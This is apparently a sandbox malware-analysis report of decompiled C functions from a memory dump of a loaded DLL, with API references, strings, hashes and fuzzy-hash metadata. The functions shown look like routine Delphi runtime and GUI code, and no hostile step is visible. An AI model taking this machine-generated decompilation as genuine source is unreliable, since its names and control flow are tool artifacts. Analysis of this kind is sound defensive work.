						if(_t110 != 0 &&  *((intOrPtr*)(_t110 + 0x30)) ==  *((intOrPtr*)(_t85 + 0x30))) {
							_t92 =  *0xb3db18; // 0xb3db64
							if(E00B13514(_t110, _t92) == 0) {
								_t93 =  *0xbdc0a0; // 0x0
								if(E00B13514(_t110, _t93) == 0) {
									_t94 =  *0xbdc0a0; // 0x0
									if(E00B13514(_t110, _t94) == 0 && E00B3E6C0(E00B132C8(_t110), "TDBEdit") == 0 && E00B3E6C0(E00B132C8(_t110), "TDBMemo") == 0) {
										_t46 = E00B61298(_t85);
										_t132 = _t46;
										if(_t46 != 0) {
											E00B3E8FC(_t85, _t110, _t132);
											_t56 = E00B60FC0(_t110);
											SendMessageA(E00B60FC0(_t85), 0x469, _t56, 0);
										}
										 *((intOrPtr*)(_t85 + 0x20c)) = _t110;
										_t97 =  *0xbdc0a0; // 0x0
										if(E00B13514(_t110, _t97) != 0) {
											E00B18AF0( &_v28);
											E00B5A894(_t110, _t85, _v28, _t110);
										}
									}
								}
							}
						}
						_pop(_t91);
						 *[fs:eax] = _t91;
						_push(0xb3e8d5);
						return E00B14228( &_v28);
					}
					if(E00B61298(_t85) != 0) {
						SendMessageA(E00B60FC0(_t85), 0x469, 0, 0);
					}
					 *((intOrPtr*)(_t85 + 0x20c)) = 0;
					goto L12;
				}
				_t68 = E00B5DCF0( *((intOrPtr*)(__eax + 0x30))) - 1;
				if(_t68 >= 0) {
					_v8 = _t68 + 1;
					_t108 = 0;
					do {
						_t71 = E00B5DCB4( *((intOrPtr*)(_t85 + 0x30)), _t108);
						_t102 =  *0xb3db18; // 0xb3db64
						if(E00B13514(_t71, _t102) != 0 && _t85 != E00B5DCB4( *((intOrPtr*)(_t85 + 0x30)), _t108) && _t110 ==  *((intOrPtr*)(E00B5DCB4( *((intOrPtr*)(_t85 + 0x30)), _t108) + 0x20c))) {
							_v24 =  *((intOrPtr*)(_t110 + 8));
							_v20 = 0xb;
							_v16 =  *((intOrPtr*)(E00B5DCB4( *((intOrPtr*)(_t85 + 0x30)), _t108) + 8));
							_v12 = 0xb;
							_t89 =  *0xbde5d4; // 0xb3d484
							E00B1C2BC(_t85, _t89, 1, _t108, _t110, 1,  &_v24);
							E00B13BC0();
						}
						_t108 = _t108 + 1;
						_t16 =  &_v8;
						 *_t16 = _v8 - 1;
					} while ( *_t16 != 0);
				}
			}

0x00b3e6fb
0x00b3e6fe
0x00b3e700
0x00b3e704
0x00b3e705
0x00b3e70a
0x00b3e70d
0x00b3e712
0x00b3e7a9
0x00b3e7b0
0x00b3e7db
0x00b3e7dd
0x00b3e7f1
0x00b3e7fe
0x00b3e806
0x00b3e813
0x00b3e81b
0x00b3e828
0x00b3e85a
0x00b3e85f
0x00b3e861
0x00b3e867
0x00b3e870
0x00b3e883
0x00b3e883
0x00b3e888
0x00b3e890
0x00b3e89d
0x00b3e8a9
0x00b3e8b3
0x00b3e8b3
0x00b3e89d
0x00b3e828
0x00b3e813
0x00b3e7fe
0x00b3e8ba
0x00b3e8bd
0x00b3e8c0
0x00b3e8cd
0x00b3e8cd
0x00b3e7bb
0x00b3e7ce
0x00b3e7ce
0x00b3e7d5
0x00000000
0x00b3e7d5
0x00b3e720
0x00b3e723
0x00b3e72a
0x00b3e72d
0x00b3e72f
0x00b3e734
0x00b3e739
0x00b3e746
0x00b3e76b
0x00b3e76e
0x00b3e77f
0x00b3e782
0x00b3e78c
0x00b3e799
0x00b3e79e
0x00b3e79e
0x00b3e7a3
0x00b3e7a4
0x00b3e7a4
0x00b3e7a4
0x00b3e72f

APIs

SendMessageA.USER32 ref: 00B3E7CE
SendMessageA.USER32 ref: 00B3E883

Strings

TDBEdit, xrefs: 00B3E835
TDBMemo, xrefs: 00B3E84A

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: MessageSend
String ID: TDBEdit$TDBMemo
API String ID: 3850602802-2833401046
Opcode ID: 48f902b410597c5da8c900f8eb6d231aea2d9793269ba988204db7323cc4ee7f
Instruction ID: 2f83adfbeae0a3d8c53d15b5302a7a3fff166aaab31e4b31858e15b262ab8a6d
Opcode Fuzzy Hash: 48f902b410597c5da8c900f8eb6d231aea2d9793269ba988204db7323cc4ee7f
Instruction Fuzzy Hash: 88414F70B142059BEB10EF69D8827AE77E5EF41B00FA445E2FC10EB396DA74ED468790

Uniqueness

Uniqueness Score: -1.00%

Function 00B1D820 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B1D820() {
				_Unknown_base(*)()* _t1;
				struct HINSTANCE__* _t3;

				_t1 = GetModuleHandleA("kernel32.dll");
				_t3 = _t1;
				if(_t3 != 0) {
					_t1 = GetProcAddress(_t3, "GetDiskFreeSpaceExA");
					 *0xbdc140 = _t1;
				}
				if( *0xbdc140 == 0) {
					 *0xbdc140 = E00B19114;
					return E00B19114;
				}
				return _t1;
			}

0x00b1d826
0x00b1d82b
0x00b1d82f
0x00b1d837
0x00b1d83c
0x00b1d83c
0x00b1d848
0x00b1d84f
0x00000000
0x00b1d84f
0x00b1d855

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00B1E289,00000000,00B1E29C), ref: 00B1D826
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 00B1D837

Strings

kernel32.dll, xrefs: 00B1D821
GetDiskFreeSpaceExA, xrefs: 00B1D831

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 0c2c9c5e4dab878fabae76ed3ea817f175ff595c834b6d6c53c22eb57a7d0f8e
Instruction ID: fde90c9d00e9b8d6d4aba5856a731ae07fcc5ec50173940e057feffdb168d8e5
Opcode Fuzzy Hash: 0c2c9c5e4dab878fabae76ed3ea817f175ff595c834b6d6c53c22eb57a7d0f8e
Instruction Fuzzy Hash: 8ED0C7A1745397ABDF109BBDECD569167E4E751711B9001FAE00167153FBB448C4C610

Uniqueness

Uniqueness Score: -1.00%

Function 00B1F89C Relevance: 6.1, APIs: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00B1F89C(intOrPtr* __eax) {
				char _v260;
				char _v768;
				char _v772;
				intOrPtr* _v776;
				signed short* _v780;
				char _v784;
				signed int _v788;
				char _v792;
				intOrPtr* _v796;
				signed char _t43;
				intOrPtr* _t60;
				void* _t79;
				void* _t81;
				void* _t84;
				void* _t85;
				intOrPtr* _t92;
				void* _t96;
				char* _t97;
				void* _t98;

				_v776 = __eax;
				if(( *(_v776 + 1) & 0x00000020) == 0) {
					E00B1F6E4(0x80070057);
				}
				_t43 =  *_v776;
				if((_t43 & 0x00000fff) == 0xc) {
					if((_t43 & 0x00000040) == 0) {
						_v780 =  *((intOrPtr*)(_v776 + 8));
					} else {
						_v780 =  *((intOrPtr*)( *((intOrPtr*)(_v776 + 8))));
					}
					_v788 =  *_v780 & 0x0000ffff;
					_t79 = _v788 - 1;
					if(_t79 >= 0) {
						_t85 = _t79 + 1;
						_t96 = 0;
						_t97 =  &_v772;
						do {
							_v796 = _t97;
							_push(_v796 + 4);
							_t22 = _t96 + 1; // 0x1
							_push(_v780);
							L00B1E760();
							E00B1F6E4(_v780);
							_push( &_v784);
							_t25 = _t96 + 1; // 0x1
							_push(_v780);
							L00B1E768();
							E00B1F6E4(_v780);
							 *_v796 = _v784 -  *((intOrPtr*)(_v796 + 4)) + 1;
							_t96 = _t96 + 1;
							_t97 = _t97 + 8;
							_t85 = _t85 - 1;
						} while (_t85 != 0);
					}
					_t81 = _v788 - 1;
					if(_t81 >= 0) {
						_t84 = _t81 + 1;
						_t60 =  &_v768;
						_t92 =  &_v260;
						do {
							 *_t92 =  *_t60;
							_t92 = _t92 + 4;
							_t60 = _t60 + 8;
							_t84 = _t84 - 1;
						} while (_t84 != 0);
						do {
							goto L12;
						} while (E00B1F840(_t83, _t98) != 0);
						goto L15;
					}
					L12:
					_t83 = _v788 - 1;
					if(E00B1F810(_v788 - 1, _t98) != 0) {
						_push( &_v792);
						_push( &_v260);
						_push(_v780);
						L00B1E790();
						E00B1F6E4(_v780);
						E00B1FA94(_v792);
					}
				}
				L15:
				_push(_v776);
				L00B1E2F4();
				return E00B1F6E4(_v776);
			}

0x00b1f8a8
0x00b1f8b8
0x00b1f8bf
0x00b1f8bf
0x00b1f8ca
0x00b1f8d8
0x00b1f8e7
0x00b1f905
0x00b1f8e9
0x00b1f8f4
0x00b1f8f4
0x00b1f914
0x00b1f920
0x00b1f923
0x00b1f925
0x00b1f926
0x00b1f928
0x00b1f92e
0x00b1f930
0x00b1f93f
0x00b1f940
0x00b1f94a
0x00b1f94b
0x00b1f950
0x00b1f95b
0x00b1f95c
0x00b1f966
0x00b1f967
0x00b1f96c
0x00b1f987
0x00b1f989
0x00b1f98a
0x00b1f98d
0x00b1f98d
0x00b1f92e
0x00b1f996
0x00b1f999
0x00b1f99b
0x00b1f99c
0x00b1f9a2
0x00b1f9a8
0x00b1f9aa
0x00b1f9ac
0x00b1f9af
0x00b1f9b2
0x00b1f9b2
0x00b1f9b5
0x00000000
0x00000000
0x00000000
0x00b1f9b5
0x00b1f9b5
0x00b1f9bc
0x00b1f9c7
0x00b1f9cf
0x00b1f9d6
0x00b1f9dd
0x00b1f9de
0x00b1f9e3
0x00b1f9ee
0x00b1f9ee
0x00b1f9fc
0x00b1fa00
0x00b1fa06
0x00b1fa07
0x00b1fa17

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 00B1F94B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 00B1F967
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 00B1F9DE
VariantClear.OLEAUT32(?), ref: 00B1FA07

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 606e87adaf89f2c46ebcbd9362d1b5640fbca68e444a53fe52eb81bedf211c8f
Instruction ID: e53b3d0d18bb20accfbef42682a9107942443aa2fca5d54a04affd01dda85621
Opcode Fuzzy Hash: 606e87adaf89f2c46ebcbd9362d1b5640fbca68e444a53fe52eb81bedf211c8f
Instruction Fuzzy Hash: BE41F879A0061A9FCB62EB58C890BD9B3FDEF59310F4041E5E549A7212DA34AFC0CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00B1BF74 Relevance: 6.1, APIs: 4, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B1BF74(intOrPtr* __eax, intOrPtr __ecx, void* __edx, void* __fp0, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v273;
				char _v534;
				char _v790;
				struct _MEMORY_BASIC_INFORMATION _v820;
				char _v824;
				intOrPtr _v828;
				char _v832;
				intOrPtr _v836;
				char _v840;
				intOrPtr _v844;
				char _v848;
				char* _v852;
				char _v856;
				char _v860;
				char _v1116;
				void* __edi;
				struct HINSTANCE__* _t40;
				intOrPtr _t51;
				struct HINSTANCE__* _t53;
				void* _t69;
				void* _t73;
				intOrPtr _t74;
				intOrPtr _t83;
				intOrPtr _t86;
				intOrPtr* _t87;
				void* _t93;

				_t93 = __fp0;
				_v8 = __ecx;
				_t73 = __edx;
				_t87 = __eax;
				VirtualQuery(__edx,  &_v820, 0x1c);
				if(_v820.State != 0x1000 || GetModuleFileNameA(_v820.AllocationBase,  &_v534, 0x105) == 0) {
					_t40 =  *0xbdf668; // 0xb10000
					GetModuleFileNameA(_t40,  &_v534, 0x105);
					_v12 = E00B1BF68(_t73);
				} else {
					_v12 = _t73 - _v820.AllocationBase;
				}
				E00B191EC( &_v273, 0x104, E00B1CFBC(0x5c) + 1);
				_t74 = 0xb1c0f4;
				_t86 = 0xb1c0f4;
				_t83 =  *0xb17b08; // 0xb17b54
				if(E00B13514(_t87, _t83) != 0) {
					_t74 = E00B146E8( *((intOrPtr*)(_t87 + 4)));
					_t69 = E00B19188(_t74, 0xb1c0f4);
					if(_t69 != 0 &&  *((char*)(_t74 + _t69 - 1)) != 0x2e) {
						_t86 = 0xb1c0f8;
					}
				}
				_t51 =  *0xbde5f4; // 0xb17898
				_t16 = _t51 + 4; // 0xffec
				_t53 =  *0xbdf668; // 0xb10000
				LoadStringA(E00B15A00(_t53),  *_t16,  &_v790, 0x100);
				E00B132D0( *_t87,  &_v1116);
				_v860 =  &_v1116;
				_v856 = 4;
				_v852 =  &_v273;
				_v848 = 6;
				_v844 = _v12;
				_v840 = 5;
				_v836 = _t74;
				_v832 = 6;
				_v828 = _t86;
				_v824 = 6;
				E00B19810(_v8,  &_v790, _a4, _t93, 4,  &_v860);
				return E00B19188(_v8, _t86);
			}

0x00b1bf74
0x00b1bf80
0x00b1bf83
0x00b1bf85
0x00b1bf91
0x00b1bfa0
0x00b1bfca
0x00b1bfd0
0x00b1bfdc
0x00b1bfe1
0x00b1bfe7
0x00b1bfe7
0x00b1c005
0x00b1c00a
0x00b1c00f
0x00b1c016
0x00b1c023
0x00b1c02d
0x00b1c031
0x00b1c038
0x00b1c041
0x00b1c041
0x00b1c038
0x00b1c052
0x00b1c057
0x00b1c05b
0x00b1c066
0x00b1c073
0x00b1c07e
0x00b1c084
0x00b1c091
0x00b1c097
0x00b1c0a1
0x00b1c0a7
0x00b1c0ae
0x00b1c0b4
0x00b1c0bb
0x00b1c0c1
0x00b1c0dd
0x00b1c0f0

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 00B1BF91
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 00B1BFB5
GetModuleFileNameA.KERNEL32(00B10000,?,00000105), ref: 00B1BFD0
LoadStringA.USER32 ref: 00B1C066

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: c0cd6cbba6104a3fed3351d422030cfea8e3cef2be14642983e749a86b610e9e
Instruction ID: 41ed6d16c192449b1b9eca297c9e03610648eb5c74e409e912111374dacf2cbf
Opcode Fuzzy Hash: c0cd6cbba6104a3fed3351d422030cfea8e3cef2be14642983e749a86b610e9e
Instruction Fuzzy Hash: 96411D71A402589BDB21DB68CC85BDAB7FDAB18300F8440E5A948E7252EB759FC8CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B1D110 Relevance: 6.1, APIs: 4, Instructions: 95
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B1D110() {
				char _v152;
				short _v410;
				signed short _t14;
				signed int _t16;
				int _t18;
				void* _t20;
				void* _t23;
				int _t24;
				int _t26;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t37;
				int* _t39;
				short* _t41;
				void* _t49;

				 *0xbdf744 = 0x409;
				 *0xbdf748 = 9;
				 *0xbdf74c = 1;
				_t14 = GetThreadLocale();
				if(_t14 != 0) {
					 *0xbdf744 = _t14;
				}
				if(_t14 != 0) {
					 *0xbdf748 = _t14 & 0x3ff;
					 *0xbdf74c = (_t14 & 0x0000ffff) >> 0xa;
				}
				memcpy(0xbdc11c, 0xb1d264, 8 << 2);
				if( *0xbdc0d4 != 2) {
					_t16 = GetSystemMetrics(0x4a);
					__eflags = _t16;
					 *0xbdf751 = _t16 & 0xffffff00 | _t16 != 0x00000000;
					_t18 = GetSystemMetrics(0x2a);
					__eflags = _t18;
					_t31 = _t30 & 0xffffff00 | _t18 != 0x00000000;
					 *0xbdf750 = _t31;
					__eflags = _t31;
					if(__eflags != 0) {
						return E00B1D098(__eflags, _t49);
					}
				} else {
					_t20 = E00B1D0F8();
					if(_t20 != 0) {
						 *0xbdf751 = 0;
						 *0xbdf750 = 0;
						return _t20;
					}
					E00B1D098(__eflags, _t49);
					_t37 = 0x20;
					_t23 = E00B12EB8(0xbdc11c, 0x20, 0xb1d264);
					_t32 = _t30 & 0xffffff00 | __eflags != 0x00000000;
					 *0xbdf750 = _t32;
					__eflags = _t32;
					if(_t32 != 0) {
						 *0xbdf751 = 0;
						return _t23;
					}
					_t24 = 0x80;
					_t39 =  &_v152;
					do {
						 *_t39 = _t24;
						_t24 = _t24 + 1;
						_t39 =  &(_t39[0]);
						__eflags = _t24 - 0x100;
					} while (_t24 != 0x100);
					_t26 =  *0xbdf744; // 0x409
					GetStringTypeA(_t26, 2,  &_v152, 0x80,  &_v410);
					_t18 = 0x80;
					_t41 =  &_v410;
					while(1) {
						__eflags =  *_t41 - 2;
						_t37 = _t37 & 0xffffff00 |  *_t41 == 0x00000002;
						 *0xbdf751 = _t37;
						__eflags = _t37;
						if(_t37 != 0) {
							goto L17;
						}
						_t41 = _t41 + 2;
						_t18 = _t18 - 1;
						__eflags = _t18;
						if(_t18 != 0) {
							continue;
						} else {
							return _t18;
						}
						L18:
					}
				}
				L17:
				return _t18;
				goto L18;
			}

0x00b1d11c
0x00b1d126
0x00b1d130
0x00b1d13a
0x00b1d141
0x00b1d143
0x00b1d143
0x00b1d14b
0x00b1d157
0x00b1d163
0x00b1d163
0x00b1d177
0x00b1d180
0x00b1d22f
0x00b1d234
0x00b1d239
0x00b1d240
0x00b1d245
0x00b1d247
0x00b1d24a
0x00b1d250
0x00b1d252
0x00000000
0x00b1d25a
0x00b1d186
0x00b1d186
0x00b1d18d
0x00b1d18f
0x00b1d196
0x00000000
0x00b1d196
0x00b1d1a3
0x00b1d1b3
0x00b1d1b5
0x00b1d1ba
0x00b1d1bd
0x00b1d1c3
0x00b1d1c5
0x00b1d1c7
0x00000000
0x00b1d1c7
0x00b1d1d3
0x00b1d1d8
0x00b1d1de
0x00b1d1de
0x00b1d1e0
0x00b1d1e1
0x00b1d1e2
0x00b1d1e2
0x00b1d1fe
0x00b1d204
0x00b1d209
0x00b1d20e
0x00b1d214
0x00b1d214
0x00b1d218
0x00b1d21b
0x00b1d221
0x00b1d223
0x00000000
0x00000000
0x00b1d225
0x00b1d228
0x00b1d228
0x00b1d229
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1d229
0x00b1d214
0x00b1d261
0x00b1d261
0x00000000

APIs

GetStringTypeA.KERNEL32(00000409,00000002,?,00000080,?), ref: 00B1D204
GetThreadLocale.KERNEL32 ref: 00B1D13A

Part of subcall function 00B1D098: GetCPInfo.KERNEL32(00000000,?), ref: 00B1D0B1

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: 0858b9105df833b5f207058f459ddb2acfd9387a64b0d1b3878bf9b81daa0aa6
Instruction ID: 592d29ae158c78ca4568c510cc5244c7987471770f546765d9eac99e734186ad
Opcode Fuzzy Hash: 0858b9105df833b5f207058f459ddb2acfd9387a64b0d1b3878bf9b81daa0aa6
Instruction Fuzzy Hash: E2310521A4A3879AD710DB24EC217E57BD4EB42300F9840E6E9899B392EF748DC5C761

Uniqueness

Uniqueness Score: -1.00%

Function 00B36BFC Relevance: 6.1, APIs: 4, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00B36BFC(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __esi;
				void* __ebp;
				intOrPtr _t33;
				struct HDC__* _t47;
				intOrPtr _t54;
				intOrPtr _t58;
				struct HDC__* _t66;
				void* _t67;
				intOrPtr _t76;
				void* _t81;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t86;

				_t84 = _t86;
				_push(_t67);
				_v8 = __eax;
				_t33 = _v8;
				if( *((intOrPtr*)(_t33 + 0x58)) == 0) {
					return _t33;
				} else {
					E00B34E24(_v8);
					_push(_t84);
					_push(0xb36cdb);
					_push( *[fs:eax]);
					 *[fs:eax] = _t86;
					E00B37F18( *((intOrPtr*)(_v8 + 0x58)));
					E00B36A78( *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8));
					_t47 = E00B38018( *((intOrPtr*)(_v8 + 0x58)));
					_push(0);
					L00B16E94();
					_t66 = _t47;
					_t81 =  *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8);
					if(_t81 == 0) {
						 *((intOrPtr*)(_v8 + 0x5c)) = 0;
					} else {
						 *((intOrPtr*)(_v8 + 0x5c)) = SelectObject(_t66, _t81);
					}
					_t54 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28));
					_t82 =  *((intOrPtr*)(_t54 + 0x10));
					if(_t82 == 0) {
						 *((intOrPtr*)(_v8 + 0x60)) = 0;
					} else {
						_push(0xffffffff);
						_push(_t82);
						_push(_t66);
						L00B16FC4();
						 *((intOrPtr*)(_v8 + 0x60)) = _t54;
						_push(_t66);
						L00B16F9C();
					}
					E00B35118(_v8, _t66);
					_t58 =  *0xbdc8fc; // 0x2650acc
					E00B2B96C(_t58, _t66, _t67, _v8, _t82);
					_pop(_t76);
					 *[fs:eax] = _t76;
					_push(0xb36ce2);
					return E00B34F90(_v8);
				}
			}

0x00b36bfd
0x00b36bff
0x00b36c02
0x00b36c05
0x00b36c0c
0x00b36ce6
0x00b36c12
0x00b36c15
0x00b36c1c
0x00b36c1d
0x00b36c22
0x00b36c25
0x00b36c2e
0x00b36c3f
0x00b36c4a
0x00b36c4f
0x00b36c51
0x00b36c56
0x00b36c61
0x00b36c66
0x00b36c7c
0x00b36c68
0x00b36c72
0x00b36c72
0x00b36c85
0x00b36c88
0x00b36c8d
0x00b36cab
0x00b36c8f
0x00b36c8f
0x00b36c91
0x00b36c92
0x00b36c93
0x00b36c9b
0x00b36c9e
0x00b36c9f
0x00b36c9f
0x00b36cb3
0x00b36cbb
0x00b36cc0
0x00b36cc7
0x00b36cca
0x00b36ccd
0x00b36cda
0x00b36cda

APIs

Part of subcall function 00B34E24: RtlEnterCriticalSection.KERNEL32(00BDF8C8,00000000,00B338D2,00000000,00B33931), ref: 00B34E2C
Part of subcall function 00B34E24: RtlLeaveCriticalSection.KERNEL32(00BDF8C8,00BDF8C8,00000000,00B338D2,00000000,00B33931), ref: 00B34E39
Part of subcall function 00B34E24: RtlEnterCriticalSection.KERNEL32(00000038,00BDF8C8,00BDF8C8,00000000,00B338D2,00000000,00B33931), ref: 00B34E42

Part of subcall function 00B38018: 73BEAC50.USER32(00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B3806E
Part of subcall function 00B38018: 73BEAD70.GDI32(00000000,0000000C,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B38083
Part of subcall function 00B38018: 73BEAD70.GDI32(00000000,0000000E,00000000,0000000C,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B3808D
Part of subcall function 00B38018: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B380B1
Part of subcall function 00B38018: 73BEB380.USER32(00000000,00000000,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B380BC

73BEA590.GDI32(00000000,00000000,00B36CDB), ref: 00B36C51
SelectObject.GDI32(00000000,?), ref: 00B36C6A
73BEB410.GDI32(00000000,?,000000FF,00000000,00000000,00B36CDB), ref: 00B36C93
73BEB150.GDI32(00000000,00000000,?,000000FF,00000000,00000000,00B36CDB), ref: 00B36C9F

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CriticalSection$Enter$A590B150B380B410CreateHalftoneLeaveObjectPaletteSelect
String ID:
API String ID: 2198039625-0
Opcode ID: a4b5f9a3a7527c438a1fc02a4263e034972bed5b6e1750d6934d39e6617801f2
Instruction ID: 3f93db7820f56d393aa50a9be1e3d35193863ad650c2773c008954cb74153b1a
Opcode Fuzzy Hash: a4b5f9a3a7527c438a1fc02a4263e034972bed5b6e1750d6934d39e6617801f2
Instruction Fuzzy Hash: 8931D274A00614EFC714EB69D981D5DB3F5FF48320BA281E0B804AB362D730EE80EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B32350 Relevance: 6.1, APIs: 4, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00B32350(intOrPtr _a4, short _a6, intOrPtr _a8) {
				struct _WNDCLASSA _v44;
				struct HINSTANCE__* _t6;
				CHAR* _t8;
				struct HINSTANCE__* _t9;
				int _t10;
				void* _t11;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HWND__* _t22;
				CHAR* _t24;

				_t6 =  *0xbdf668; // 0xb10000
				 *0xbdc62c = _t6;
				_t8 =  *0xbdc640; // 0xb32340
				_t9 =  *0xbdf668; // 0xb10000
				_t10 = GetClassInfoA(_t9, _t8,  &_v44);
				asm("sbb eax, eax");
				_t11 = _t10 + 1;
				if(_t11 == 0 || L00B170B4 != _v44.lpfnWndProc) {
					if(_t11 != 0) {
						_t19 =  *0xbdf668; // 0xb10000
						_t20 =  *0xbdc640; // 0xb32340
						UnregisterClassA(_t20, _t19);
					}
					RegisterClassA(0xbdc61c);
				}
				_t13 =  *0xbdf668; // 0xb10000
				_t24 =  *0xbdc640; // 0xb32340
				_t22 = E00B175D8(0x80, _t24, 0, _t13, 0, 0, 0, 0, 0, 0, 0x80000000);
				if(_a6 != 0) {
					SetWindowLongA(_t22, 0xfffffffc, E00B32294(_a4, _a8));
				}
				return _t22;
			}

0x00b32357
0x00b3235c
0x00b32365
0x00b3236b
0x00b32371
0x00b32379
0x00b3237b
0x00b3237e
0x00b3238c
0x00b3238e
0x00b32394
0x00b3239a
0x00b3239a
0x00b323a4
0x00b323a4
0x00b323ba
0x00b323c7
0x00b323d7
0x00b323de
0x00b323ef
0x00b323ef
0x00b323fa

APIs

GetClassInfoA.USER32 ref: 00B32371
UnregisterClassA.USER32 ref: 00B3239A
RegisterClassA.USER32 ref: 00B323A4
SetWindowLongA.USER32 ref: 00B323EF

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 40012338ec434bded6de2070fb0cbb168be0bbd769ed75310c82aa5705d32ae5
Instruction ID: 625fc731596c30f4a7e38cfe82c5991c1c00b683e3984605e374924c543f84bb
